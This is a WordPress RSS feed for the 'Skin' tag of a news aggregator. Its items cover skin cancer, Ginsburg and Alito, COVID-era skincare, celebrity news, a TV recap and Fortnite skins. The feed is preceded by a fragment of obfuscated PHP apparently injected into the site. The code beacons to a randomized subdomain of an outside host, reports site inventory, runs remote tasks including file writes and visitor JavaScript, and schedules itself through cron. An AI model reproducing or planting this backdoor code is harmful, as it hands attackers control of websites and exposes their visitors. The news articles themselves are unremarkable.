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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Skin – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 22 Sep 2022 04:51:49 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Skin – Brief News https://briefnews.eu 32 32 Cancer: The addition to your meals that could prevent lung, prostate, and skin cancer https://briefnews.eu/cancer-the-addition-to-your-meals-that-could-prevent-lung-prostate-and-skin-cancer/ https://briefnews.eu/cancer-the-addition-to-your-meals-that-could-prevent-lung-prostate-and-skin-cancer/#respond Thu, 22 Sep 2022 04:51:49 +0000 https://briefnews.eu/cancer-the-addition-to-your-meals-that-could-prevent-lung-prostate-and-skin-cancer/

Cancer is a deadly disease which can affect any cell in the body, but adequate changes may reduce a person’s risk.

]]> https://briefnews.eu/cancer-the-addition-to-your-meals-that-could-prevent-lung-prostate-and-skin-cancer/feed/ 0 Skin cancer patients lacking a certain vitamin less likely to survive disease – study https://briefnews.eu/skin-cancer-patients-lacking-a-certain-vitamin-less-likely-to-survive-disease-study/ https://briefnews.eu/skin-cancer-patients-lacking-a-certain-vitamin-less-likely-to-survive-disease-study/#respond Wed, 07 Sep 2022 17:01:27 +0000 https://briefnews.eu/skin-cancer-patients-lacking-a-certain-vitamin-less-likely-to-survive-disease-study/

MELANOMA skin cancer is the fifth most common cancer in the UK, with around 16,700 new cases diagnosed every year. It is usually caused by sunlight damaging the DNA in your skin. While there are certain measures you can take to prevent developing the disease in the first place a new study has shown a certain vitamin supplement could also improve your chances of surviving the cancer.

]]> https://briefnews.eu/skin-cancer-patients-lacking-a-certain-vitamin-less-likely-to-survive-disease-study/feed/ 0 Ruth Bader Ginsberg would have taken Justice Alito’s ‘skin off’ over being quoted in his Roe v. Wade opinion, longtime friend and journalist says https://briefnews.eu/ruth-bader-ginsberg-would-have-taken-justice-alitos-skin-off-over-being-quoted-in-his-roe-v-wade-opinion-longtime-friend-and-journalist-says/ https://briefnews.eu/ruth-bader-ginsberg-would-have-taken-justice-alitos-skin-off-over-being-quoted-in-his-roe-v-wade-opinion-longtime-friend-and-journalist-says/#respond Sat, 03 Sep 2022 00:20:47 +0000 https://briefnews.eu/ruth-bader-ginsberg-would-have-taken-justice-alitos-skin-off-over-being-quoted-in-his-roe-v-wade-opinion-longtime-friend-and-journalist-says/ U.S. Supreme Court Associate Justices Ruth Bader Ginsburg and Samuel Alito, Jr. sit next to each other as all of the justices on the court pose for their group portrait on November 30, 2018.
U.S. Supreme Court Associate Justices Ruth Bader Ginsburg and Samuel Alito, Jr. sit next to each other as all of the justices on the court pose for their group portrait on November 30, 2018.

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  • RBG would have fought back against Samuel Alito's Roe v. Wade opinion, her longtime friend says.
  • NPR's Nina Totenberg discussed the late Supreme Court Justice in an interview this week. 
  • Totenberg said Ginsburg's words were taken "out of context" in Alito's majority opinion. 

Supreme Court Justice Ruth Bader Ginsburg would have been displeased with her inclusion in Justice Samuel Alito's majority opinion overturning Roe v. Wade earlier this year, according to Ginsburg's longtime friend and peer.

NPR legal correspondent Nina Totenberg spoke about her years-long friendship with the late judge in an NPR interview this week while promoting her forthcoming book "Dinners with Ruth." During the conversation, Totenberg suggested that Ginsburg, a fierce defender of women's rights, would have fought back against Alito's choice to quote her in his polarizing opinion.

The Supreme Court in June overturned Roe v. Wade in a 5-4 decision that gutted the nearly 50-year-old landmark ruling that legalized abortion nationwide, following an unprecedented leak of the draft opinion in the case.

In his majority decision, Alito cited Ginsburg twice in arguing his belief that Roe was "egregiously wrong from the start," 

"Everybody knows that if she had been alive, she would have taken his skin off over that section, but it remained in the opinion," Totenberg said of Ginsburg's quote.

In a lecture published in the 1992 issue of the New York University Law Review, Ginsburg argued that Roe v. Wade didn't go far enough in enshrining a women's right to choose. 

"Roe…halted a political process that was moving in a reform direction and thereby, I believed, prolonged divisiveness and deferred stable settlement of the issue," Alito quotes Ginsburg near the start of his 98-page opinion.

Totenberg said Alito's decision to include Ginsburg's voice was one made in bad faith.

"I think that's an indication of how much bad feeling there is among the justices on this court that that section was not taken out because it was written out of context completely," the journalist said.

Ginsburg throughout her life was open in her reservations about the legal basis on which Roe was passed, arguing that the landmark ruling actually "stopped the momentum that was on the side of change" in favor of abortion rights. She believed it would have been more effective for the court to consider a case that emphasized a woman's right to choose on the matter of equal protection under the law, rather than the right to privacy on which the case was ultimately decided.

Ginsburg died at the age of 87 in 2020. Her death opened the door for then President Donald Trump to appoint Justice Amy Coney Barrett in his effort to support judges who would overturn Roe v. Wade — which she ultimately helped do. 

In the aftermath of her death, some have criticized Ginsburg for not stepping down when Barack Obama was president so he could appoint a liberal judge to replace her.

Totenberg suggested that Ginsburg's reason for remaining was twofold: She thought the Republican-controlled Congress would block her successor, and she believed Hillary Clinton would be the next president and wanted to give the first female leader the opportunity to appoint her successor.

"She rolled the dice, and she lost," Totenberg said. 

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]]> https://briefnews.eu/ruth-bader-ginsberg-would-have-taken-justice-alitos-skin-off-over-being-quoted-in-his-roe-v-wade-opinion-longtime-friend-and-journalist-says/feed/ 0 The Ultimate Guide to Caring for Your Skin During COVID-19 https://briefnews.eu/the-ultimate-guide-to-caring-for-your-skin-during-covid-19/ https://briefnews.eu/the-ultimate-guide-to-caring-for-your-skin-during-covid-19/#respond Sat, 19 Sep 2020 18:36:30 +0000 https://briefnews.eu/?p=261629 This article is originally published on Proven Skincare.

Dr.Yuan

Never did we think we would be in the middle of a worldwide pandemic and in quarantine.

It’s been stressful. Stressful on us and very stressful on our skin.

In a short amount of time, everything in our lives has been turned upside down. Though we are starting to slowly venture out again, we’ve been working remotely, home schooling our kids, ordering in groceries, staying in sweatpants all day and, most likely, neglecting and affecting our skin. For some of us, our skincare products may not have been touched in weeks.

Colleagues and experts in the skincare industry, CEO and Co-Founder of PROVEN Skincare, Ming Zhao, *and *Dr. Tyler Hollmig, Head of Dermatologic Surgery at the University of Texas at Austin discussed how this health pandemic, being under quarantine and wearing face masks, is wreaking havoc on our skin. They also discussed what we can do for better skin health and what to do to best care for your skin during this unprecedented time.

WHAT ARE WE DOING TO OUR SKIN RIGHT NOW?

The short answer is “too little and too much”. Think about it. Some of us have gotten into the habit of staying in our pajamas or sweatpants, prepping for grainy Zoom calls and an afternoon of helping with homework and a quick walk with the dog. We are not following our daily activities, including our skincare routines. On the flip side, because we have this “extra” time, some may be using this opportunity to experiment with new products, perhaps glycolic peels, exfoliators or new facial cleansers which can actually stress out skin even more.

Dr. Hollmig points out that he is seeing three patterns when it comes to home skincare during the coronavirus lockdown. The most common is that many people are taking the new hygiene guidelines quite seriously. While these “new normal” and important habits of, using hand sanitizers, increased handwashing and using decontaminating household products will help keep us healthy, they can dry out the skin and cause irritation, flaking, and dermatitis.

Others are using “time away” from work and friends as an opportunity to be more focused on their skin and skincare regimens, trying new at-home products such as a chemical peel, exfoliating mask or retinoid. This over-manipulation of and experimentation on the skin can cause breakouts, irritation and redness.

Other skin issues can be caused by a change in habits like increased workouts at home, skipping a daily shower or working all day without cleansing the skin. Many of us fall into at least one of these three groups, and adding in the effects of the stress that we are all feeling, this is a recipe for skin irritation and other troubles.

WHAT SHOULD WE AVOID PUTTING ON OUR SKIN NOW?

We should always avoid phthalates, parabens, palm oils, dyes and other ingredients that can cause skin irritation and issues. Both experts agree on this as well as it depending on the individual, how they care for themselves (exercise, diet) and their unique environment right now. Having a personalized skincare regimen can address many issues as well as promote healthy skin.

As an example, people who typically travel for work are, for the most part, grounded for now. Usually, business travelers compensate for the dry skin they experience when traveling, by moisturizing, hydrating or misting skin. Being home, their skin may look and feel oilier due to stress-induced stimulation of oil glands. If they continue using their “regular” moisturizers, this, plus the effects of stress, is likely to have adverse consequences on skin.

THE IMPORTANCE OF RECOGNIZING INDIVIDUAL NEEDS and HOW A PERSONALIZED SKINCARE REGIMEN CAN HELP.

Dr. Hollmig is an aesthetic dermatologist, which is different than a traditional or clinical dermatologist. Aesthetic dermatology is the study of skin health and beauty and involves dedication to scientifically-proven interventions to improve on these aspects.

He has treated thousands of patients and focuses on treating skin cancer, performing evidence-based therapies to improve the skin’s appearance and health and is a strong advocate of personalized skincare. He continues to research the role of genetics in skin health, beauty, and aging and has advised numerous companies on establishing skincare formulas and products that are safe and effective. After reading about the PROVEN Skincare concept and its AI backed technology, he was more than happy to offer his expertise and consultancy to the brand and its founders.

Personalized skincare is incredibly helpful to the individual, especially now. Due to this dramatic shift in our daily lives and routines, this unprecedented health crisis, we are stressed via worry and uncertainty and this stress can be reflected on our skin. Stress will also elevate our cortisol levels which can cause acne to reappear or worsen, rosacea can flare up and oil glands go into overdrive. It can also cause eczema, dandruff and some hair loss (check your shower drain lately?) Pregnant women dealing with fluctuating hormones are now contending with stress from higher levels of anxiety which can cause increased skin darkening, facial breakouts and stretch marks.

By using personalized skincare, individuals can adjust regimens based on circumstances, like this quarantine, an environment, a change in diet, stage of life, genetics and more.

OTHER ELEMENTS OR CONDITIONS CAN AFFECT OUR SKIN NOW.

IDENTIFY THEM AND TREAT THEM AS PART OF A SELF CARE ROUTINE.

Our current lifestyle changes seem to be endless, however, this quarantine is offering us an opportunity for self-care. We can identify elements that are affecting us and get into or back into a healthy routine.

Our skin is our front line of defense and interacts with every aspect of our environment. Elements including the daily UV index, temperature and humidity, as well as pollution levels, hard water and sun exposure take a toll on skin. How skin ages over a lifetime is largely due to the environment. Also known as extrinsic aging, lifestyle also plays a critical role in our skin’s appearance and long-term health. When there is a dramatic shift in our lifestyle, as we have seen with the COVID-19 crisis, the skin definitely shows it.

Interior climate or “bad” air.

Conditioned air can be very drying to skin. As an example, ambient humidity helps the outer layer of our skin, or epidermis, to retain moisture. The epidermis protects us against environmental elements as well as helps our skin retain moisture, keeping it looking and feeling supple. When we are inside all day, with dry, conditioned air pumped in, our skin gets dry and not holding in moisture, which can result in skin irritation and increase appearance of fine lines.

Increased hand-washing and showering.

More frequent hand-washing and increased showering can cause dry skin and scalp, resulting in skin flaking and dermatitis. Also, if your home has hard water (or high mineral content) that “squeaky clean” feeling after a shower is actually caused by mineral buildup and soap-scum on left on the skin. Moisturize after showering and apply a thicker lotion to hands at night and wear a pair of socks while sleeping to help cracking and irritation.

Lack of sun.

We all need a safe dose of natural Vitamin D, however don’t forget that UVA light penetrates window glass, eventually and may cause dark spots on the skin and increase fine lines. Additionally, it is thought that computer monitors and cell phone screens emit light that may cause similar changes. As such, it is important to continue with UV protection even when indoors.

Increased screen time.

Did you know we average 11 hours of screen time a day now? Wdatching television and being on tablets, phones and computers (how many zoom calls do you have this week?) can cause inflammation and accelerate skin aging. Being exposed to more HDV or blue light can be compared to being exposed to damaging UVA rays.

Limit your time as much as possible as this exposure can cause increased lines and wrinkles, sun spots, affect tone and hasten skin aging. We are exposed to different wavelengths of UVA light and blue light. Continued exposure can cause, worsening of melasma (brown spots), and development of fine lines or, in some cases, an increased risk of melanoma, or skin cancer.

Apply a broad-spectrum sun protection every day whether you are inside or plan to be outside for a while. Additionally, “tech neck,” or horizontal lines on the neck, are becoming more prevalent because of increased device usage. These are typically caused at least in part by reduced collagen production and dermal thickness—another potential side effect of UVA light—and can be combated with lasers, peels, or even using a product with a retinol.

Lack of or excessive exercise.

Exercise is key to our physical and mental health. Skipping exercise causes dreaded weight gain and skin condition suffers. It is critical that we continue exercising, even if indoors as it increases blood flow and circulation. And, though tempting to just relax afterwards, shower and clean skin with a gentle cleanser as sweat and dirt can clog pores and result in skin irritation or acne flare ups.

Lack of sleep.

Being home can definitely affect sleep patterns. Try to get as much sleep as possible and keep to your regular bedtime schedule. Though there is not a great amount of research on sleep and skin health we can see the effects of interruptions in sleep. Dark circles and changes in tone and condition and a sallow appearance become more obvious.

Breaking healthy habits.

A balanced diet is critical to skin health and appearance. Many diseases related to poor or improper nutrition, things like vitamin deficiencies and celiac disease, can be diagnosed just by skin appearance. Watch your food intake. It’s easy to snack during this time, so limit trips to the kitchen. Too much of a good thing, like milk or sugary treats, can cause acne breakouts and rosacea can act up. Plus, no one wants to “gain” the “COVID-19”! Also, cut back on your alcohol consumption. While it’s nice to relax with a glass of wine now and then, larger amounts cause toxins to accumulate in the skin, ultimately accelerating aging.

Wearing Masks

Now that we are required to wear masks, we may experience some irritation caused by sweat or repeated wear. Cleanse face in the morning and evening and wash or air masks frequently.

Stress!

The skin is not just a protective layer covering our bodies, it also tells us what is going on inside. Changes in systemic health affect skin health, and vice versa. Many common skin conditions such as acne, eczema, and psoriasis will increase with stress. Increased hair fallout can also be a sign of stress.

SKIN TIPS FOR WOMEN PREGNANT DURING COVID.

Pregnancy-induced changes in skin are common. Darkening of facial skin, development of stretch marks and spider veins as well as acne breakouts are just a few things to deal with. Treatments for these conditions must be safe. Retinoids, for example, are contraindicated in pregnant patients. Wearing compression stockings and going for walks helps reduce development of spider veins in the legs; using products with lightening agents that are safe in pregnancy and breastfeeding can help minimize facial darkening, and using safe, oil-free cleansers helps with acne as well.

SKINCARE ADVICE FOR MEN DURING THIS TIME.

Because many men are not shaving as frequently right now, this can lead to increased pseudo-folliculitis and folliculitis, ingrown hair and clogged hair follicles, which can be painful. A simple regimen of facial cleansing is important to help prevent this. If you choose not to shave, a good cleanser and moisturizing regimen is important to protect hair-bearing skin.

A SIMPLIFIED, PERSONALIZED SKINCARE REGIMEN IS BEST.

We each have a different makeup, a different lifestyle, diet, sensitivities and living environment. There is no one size fits all approach. Identify your skin issues and educate yourself through research or speaking with a board-certified dermatologist as to what personalized regimen would be best for your individual skin type and concerns.

A daily cleanser washes away dirt and oil, allowing pores to breathe, lessening redness and irritation. And, with our newest fashion accessory, facial masks, more sweat and dirt will get caught in pores. Cotton masks are recommended as a better, more breathable choice and should washed often to avoid bacteria transferring to skin.

Moisturize. Skin is losing moisture from interior, dry air, facial masks or change in diets. Apply moisturizer after cleansing, especially if you are experiencing drier than normal skin. If your skin tends to be oilier, a little less moisturizer might be helpful at this time to avoid an increase in clogged pores or acne flare ups.

Implement a retinol-based product into your routine, depending on your skin needs and issues, to keep it in peak condition and, most importantly, apply a daily sunscreen product, or a day moisturizer with a Broad-Spectrum SPF level of at least 30. We are exposed to damaging UV rays, and the aforementioned blue light. Sitting by windows where bright sunlight streams in, can expose us to free radicals and additional skin damage, so yes, wear an SPF product even indoors.

Many may consider adding an eye cream to their regimens; however, a personalized moisturizer should be sufficient for this most delicate facial skin. As we age, we lose collagen, or elasticity in the skin, especially in the eye area. Avoid tugging and pulling near the eye or the eyelids to keep skin from stretching. We should be keeping our hands off our faces at all times, especially now.

Products like PROVEN, that are formulated based on a person’s individual needs including living environment, lifestyle, diet, stress levels, frequency of travel, as well as skin sensitivities will be most effective for maintaining youthful and healthy-looking skin. Go to provenskincare.com to take the complimentary skin quiz to discover your personalized skincare formulations.

Both Dr. Hollmig and CEO of PROVEN Skincare, Ming Zhao, remind us to stay safe and stay healthy.

]]> https://briefnews.eu/the-ultimate-guide-to-caring-for-your-skin-during-covid-19/feed/ 0 Janet Street-Porter preparing for operation after skin cancer diagnosis https://briefnews.eu/janet-street-porter-preparing-for-operation-after-skin-cancer-diagnosis/ https://briefnews.eu/janet-street-porter-preparing-for-operation-after-skin-cancer-diagnosis/#respond Tue, 23 Jun 2020 14:04:12 +0000 https://briefnews.eu/janet-street-porter-preparing-for-operation-after-skin-cancer-diagnosis/

Speaking on today’s edition of Loose Women, Janet told the panel and viewers at home she found out she had a basal cell carcinoma, a form of skin cancer, and was due to have it removed but the lockdown postponed the operation. The 73-year-old explained she originally thought the bump on her nose was a mosquito bite but went to the doctor to check.

She explained: “I showed this tiny spot on my nose to a dermatologist and he immediately referred me to a consultant and they said I’ve got a basel cell carcinoma, which is a form of skin cancer.

“If untreated it could grow. It has to be removed otherwise it’s going to get bigger and bigger.

“Also, I could be left with a very big scar.

“I was about to have it removed then lockdown happened three days before I was supposed to have it removed.”

READ MORE: Janet Street-Porter clashes with Ian Hislop in heated Cummings row

“And to all those who’ve been waiting for medical procedures during lockdown.”

Later on in the show, Janet revealed she is still “fearful” of an abusive ex-partner.

Janet did not name the ex-partner but opened up to the panel about her experience as she praised supermarkets for coming up with a code to help those who are victims of abuse.

Supermarket staff are introducing a code word that a victim can use and they will be taken to a room where appropriate action can be taken.

Janet commented: “While I think this is all a very good idea… The idea of going into a supermarket and being so distraught anyway, they have to find the room, it’s a bit like the smoking room, is it a special room that someone has a key to?

“I know I sound cynical but you can imagine a situation where someone is absolutely at their wits end and then they were going through a series of members of staff.

“What we really need are highly trained experts and people who have done the proper training to help us out of that situation.”

Janet added: “When I was in an abusive relationship I did not discuss it with anyone, because I realised I had made a complete fool of myself, you are paralysed.

“You might have the number on your supermarket till but then it’s like telling more people what a mess you’ve made of things, you do blame yourself.”

Loose Women airs weekdays on ITV at 12.30pm.

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]]> https://briefnews.eu/janet-street-porter-preparing-for-operation-after-skin-cancer-diagnosis/feed/ 0 Bold Type Premiere Recap: In Her Skin — Plus, Is Sutton Really [Spoiler]?! https://briefnews.eu/bold-type-premiere-recap-in-her-skin-plus-is-sutton-really-spoiler/ https://briefnews.eu/bold-type-premiere-recap-in-her-skin-plus-is-sutton-really-spoiler/#respond Fri, 12 Jun 2020 10:49:39 +0000 https://briefnews.eu/bold-type-premiere-recap-in-her-skin-plus-is-sutton-really-spoiler/

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The theme of Thursday’s The Bold Type Season 4B premiere: boobs.

The episode begins with a montage of Sutton and Kat bringing Jane home after her double mastectomy. They tend to her as loving friends, while Jane struggles to even lift her arm. Her ex Ryan texts to let her know he’s thinking about her and to check up on her. “Doing well. Thx,” Jane curtly replies. As time passes, Jane’s recovery exercises get easier, and she finally smiles. But she’s still not feeling comfortable in her own skin. Showing off her new boobs to her pals, Jane sighs, “They just don’t seem like me. I miss my old ones.” She asks Kat and Sutton to break the seal on them and feel them up, a moment on which Alex walks in, but it doesn’t even faze him, having seen a lot in the apartment over the last three months.

The Bold Type RecapFinally feeling better, Jane is eager to get back to work, where she’s now the head of her own vertical, The Failing Feminist. Jacqueline informs her that she needs to hire a team before the vertical launches at the end of the week. (I’m just going to ignore that ridiculous timetable.) Jane immediately sets her sights on two columnists — Gen Z-er Addison and a male writer named Scott — but Jane is so off her game that she kind of messes up the interviews. She thinks Scott is staring at her breasts, when he’s actually noticing that she has food on her top. Then she lets Addison believe she’s a part of the exclusive women’s club The Belle to impress her. (Jane, they’re supposed to be trying to impress you.)

Kat takes matters into her own hands and calls The Belle, pretending to be Jane’s assistant to secure her an interview with the membership department — and it works! Jane almost blows this interview, too, until she starts to open up about her mastectomy. “I don’t feel like me,” she confesses. The Belle rep responds that what they like about her is that no matter how she looks or feels, even when she’s wearing plaid and glasses in her Insight video, she’s always herself. And that gets her into The Belle!

The Bold Type RecapMeanwhile, newly minted stylist Sutton is dressing child actress Mara. She promises the teen a sophisticated look, but learns at the showroom that Mara stole a bunch of clothes at a previous photo shoot, so the fancy duds are off-limits. Sutton has her assistant stick to Mara’s side to make sure she doesn’t take anything. Mara later explains to Sutton that she found out her mom was stealing from her that day, so she was angry and wanted to steal something. She gave all the clothes back, but the damage was done. Sutton apologizes for judging her, and after a pep talk from Richard, she decides to do right by Mara. She puts her name on the line at the showroom, vowing to take full responsibility if any clothes go missing, and sets up an impromptu photo shoot at The Belle, where Sutton unexpectedly throws up into a planter. At home, she tells Richard that she’s been exhausted and nauseous lately. Oh, and her boobs kind of hurt. (See, this episode is all about the boobs.) Then it dawns on her: Her period is late! “I think I’m pregnant,” she announces.

The Bold Type RecapElsewhere, Kat is spending her time protesting for causes (and hooking up with another female protester) after being fired from Scarlet. Her parents plan to rent out her place if she doesn’t get a job that will pay the mortgage, so Kat interviews at a couch start-up company, and even gets offered a signing bonus. But the contract requires that Kat not make any political statements on her personal social media, which doesn’t sit right with her, so she turns down the gig. Sutton mentions that The Belle is hiring bartenders, and Kat looks like she’s seriously considering it. As for where she’s going to live, well, Alex just announced he’s moving out of Jane’s place now that the mold in his apartment is gone. Kat mentions that it was fixed two months ago, which causes Jane to realize Alex stayed to take care of her. She gives him basketball tickets as a thank-you for being such a good friend.

The Bold Type fans, what did you think of the episode and Sutton’s possible pregnancy? Grade it below, then hit the comments!

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]]> https://briefnews.eu/bold-type-premiere-recap-in-her-skin-plus-is-sutton-really-spoiler/feed/ 0 ‘My skin crawled’ Susanna Reid shares chilling confession in Edward Colston statue debate https://briefnews.eu/my-skin-crawled-susanna-reid-shares-chilling-confession-in-edward-colston-statue-debate/ https://briefnews.eu/my-skin-crawled-susanna-reid-shares-chilling-confession-in-edward-colston-statue-debate/#respond Mon, 08 Jun 2020 09:15:52 +0000 https://briefnews.eu/my-skin-crawled-susanna-reid-shares-chilling-confession-in-edward-colston-statue-debate/

Defending a tweet Alex shared on the toppling of the statue, he said: “I wasn’t celebrating the way in which Edward Colston’s statue was pulled down. It was pulled down in a criminal manner; it is criminal damage.

“But when you look at the meaning of iconic in the dictionary, an image, emblem, idol or hero.

“Iconic often describes something else like spirituality, virtue or evil and corruption.

“Arguably is Edward Colston, or was, he evil, was he corrupt? Well I have to say, in my eyes speaking as someone of colour, he was not a very nice person and he’s been and was a divisive figure in Bristol.”

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]]> https://briefnews.eu/my-skin-crawled-susanna-reid-shares-chilling-confession-in-edward-colston-statue-debate/feed/ 0 Fortnite Prisoner stage 4 update as new skin location is UNLOCKED https://briefnews.eu/fortnite-prisoner-stage-4-update-as-new-skin-location-is-unlocked/ https://briefnews.eu/fortnite-prisoner-stage-4-update-as-new-skin-location-is-unlocked/#respond Mon, 18 Feb 2019 05:34:29 +0000 http://briefnews.eu/fortnite-prisoner-stage-4-update-as-new-skin-location-is-unlocked/

Epic Games are bringing to close one of their final season 7 challenges, how to unlock the Fortnite Prisoner stage 4 skin.

It’s been an ongoing task that started with hunting down and completing all parts of the Snowfall challenge.

Having unlocked the Prisoner skins, fans then had to work out how to complete each stage, with their being four designs available.

Most of these have included visiting special locations while wearing the skin in Battle Royale mode.

And Epic Games have finally added the place needed to unlock the Fortnite Prisoner Stage 4 outfit.

Like other unique outfits, the Snowfall skin can be evolved over time, with stage 4 thought to be the final design.

So here is how and where to unlock the Prisoner Skin Stage 4

THE PRISONER STAGE 4 LOCATION

A new location has been created by the recent earthquakes that have been hitting the map.

These started around Dusty Divot and eventually started forming cracks in the earth near the Tomato Temple.

Now, players need to head over to a hill found in the north-east area of the map, not far from the cliff edge.

The final Fortnite Prisoner stage 4 location can be found in the 2-I map coordinate, Which should be easy to spot from the air.

The new site comes complete with ritual firepots and stone slabs and doesn’t appear to warrant any huge tasks.

Players just need to make into the circle of pots and wait a moment, fires should spark up around, and you should have finally unlocked the stage 4 skin.

This final phase began on Saturday and should remain in place until the end of Season 7.

That means anyone who is trying to catch up and finish each stage should still have time to complete the final design.

There’s always the chance that Epic Games will have a secret stage 5 worked out for the final week.

However, so far there has been no evidence found by data miners to suggest Epic has something like that planned.

We should learn more about the Season 7 ending next week when a new update is released.

This will no doubt contain information on what new events might be coming, as the Prisoner appears to be part of it.

Many now refer to him as the Fire King and could be a big part of how the seasonal end event roles out.

Map changes are expected, and there have been hints that a fiery tornado could be unleashed on the map.

There have also been persistent rumours suggesting a volcano too and a massive biome change.

This would make sense as it is something that happened with the introduction of the Ice King during Season 7.

It’s been rumoured that the prisoner and the ice king will face off at the end of Fortnite season 7, resulting in a monster appearing from the deep.

Fortnite data miner @lucas7yoshi_ has uncovered in the update 7.40 files mention of a mysterious Kracken event.

The good news is that fans won’t have long to wait to find out what Epic Games has planned, as we edge closer to the finish line.

Fortnite season 8 could launch as soon as February 28, which is when Fortnite season 7 finishes.

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]]> https://briefnews.eu/fortnite-prisoner-stage-4-update-as-new-skin-location-is-unlocked/feed/ 0 Fortnite Prisoner stage 4 UPDATE: How to get ready for new skin reveal https://briefnews.eu/fortnite-prisoner-stage-4-update-how-to-get-ready-for-new-skin-reveal/ https://briefnews.eu/fortnite-prisoner-stage-4-update-how-to-get-ready-for-new-skin-reveal/#respond Thu, 14 Feb 2019 08:15:08 +0000 http://briefnews.eu/fortnite-prisoner-stage-4-update-how-to-get-ready-for-new-skin-reveal/

The Fortnite Prisoner skin is an Epic Games sidequest that can be unlocked by completing the Snowfall challenges.

These challenges are the secret battle stars and banners you might have heard Battle Pass users hunting for during Season 7.

Stage 4 of the Fortnite Prisoner is expected to unlock sometime this week, with fans hoping for something to happen today.

Thursdays have been the traditional time to check for news on what is happening next with the Snowfall Challenge, so things could be in motion by this afternoon.

And for those who are interested in unlocking the Fortnite Prisoner skin, there still could be time to complete the different stages.

Stage 1 involves completing all the challenges available to you until you have unlocked all the available secret battle stars and banners found in the game.

That means unlocking the Prisoner skin through completing 60 weekly challenges throughout Season 7.

It’s a hefty bit of work, but all the weekly cheat sheets and guides available online should make it an easier process.

Having unlocked the Prisoner skin, you can now start completing the next stages to put together his final design.

Stage 2 and 3 of the Prisoner skin can be unlocked by interacting with different objects on the Fortnite map.

It should be noted that you will need to equip the Prisoner skin when you visit these locations.

Polar Peak will be your first port of call, reach the castle and head inside until you find a room with a fireplace, desk, some bookshelves and chairs.

On the desk, you should find a key on top of an open book, which is the object you need to interact with.

Having done this task, you should then finish the match and will eventually see an unlock screen following completion.

The stage 3 key location for the Fortnite Prisoner skin can be found in Paradise Palms.

This will involve tracking down a campfire which you will then need to interact with.

The campfire you’re after is on one of the dusty mountains in the Paradise Palms area, within the I-7 map coordinate.

There have been reports that others interacting and using the campfire can mean missing out on the stage 3 unlock.

But when you do finally reach the right mountain and interact with the campfire, you should complete the match and have unlocked stage 3 of the Prisoner skin.

THE PRISONER STAGE 4

The Prisoner Stage 4 skin is expected to be released into the game today, February 14.

This will likely happen in the afternoon, following the release of the new Overtime Challenges.

Right now, we don’t know what fans will have to find on the map to complete the Prisoner skin.

The final design has been leaked and shows an evolved design based around the lava patterns on the character’s chest and hands.

This would suggest that fans will have to find some kind of hot object to induce the change; however, nothing has been confirmed yet.

But you can guarantee that fans will look to solve the quest as soon as they can later today.

There’s always the chance that some new event will be needed to unlock the Prisoner skin, but until we learn more about the clues, we’ll have to wait and see.

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 update 7.30 is live, which means new items and skins have been discovered in the game files.

The new items are without release dates, but they’re almost guaranteed to launch within the next two weeks.

One of the more interesting new skins is described as The Prisoner. You can see it on the right in the image below.

The Prisoner outfit will be joined by new backbling and the usual companion items.

The Prisoner skin will reportedly have four different stages, making it one of the more appealing outfits to leak this week.

According to @TrixLeaks and @FNBRHQ, The Prisoner is the reward for completing the Snowfall challenges.

The dataminers have also found a Marshmello skin, spray and harvesting tool.

Check out the leaked images below. Express Online will add more when they are revealed.

Elsewhere, update 7.30 introduced the brand new Chiller Grenade and mobile controller support.

“Give your enemies cold feet with this winter blast!” reads an in-game Chiller Grenade preview.

The Chiller Grenade is said to knock players back, causing them to slide along the ground.

This lasts for seven seconds and applies to allies, enemies and vehicles, so you’ll need to be careful when using it.

